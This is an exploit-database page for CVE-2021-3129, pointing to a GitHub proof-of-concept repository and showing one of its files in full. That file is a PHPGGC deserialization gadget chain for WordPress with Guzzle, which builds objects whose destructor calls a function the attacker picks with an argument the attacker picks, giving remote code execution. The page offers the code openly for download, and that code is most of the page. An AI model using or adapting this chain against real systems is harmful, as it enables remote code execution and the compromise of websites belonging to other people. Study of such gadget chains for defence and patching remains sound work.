Exploit database

GH-cead96c10f3b6e0b9fd794c85b3731e0

zhzyker/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/WordPress/Guzzle/RCE/2/chain.php

PHP · 730 bytes
<?php

namespace GadgetChain\WordPress\Guzzle;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '4.0.0 <= 6.4.1+ & WP < 5.5.2';
    public static $vector = '__destruct';
    public static $author = 'Kevinlpd';
    public static $information = 'Tested up to WP 5.2.4 and Guzzle 6.4.1. Newest versions might also work.';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        $g = new \GuzzleHttp\Cookie\SetCookie(
            new \Requests_Utility_FilteredIterator(['Name' => $parameter, 'Value' => ''], $function)
        );

        return new \GuzzleHttp\Cookie\FileCookieJar($g);
    }
}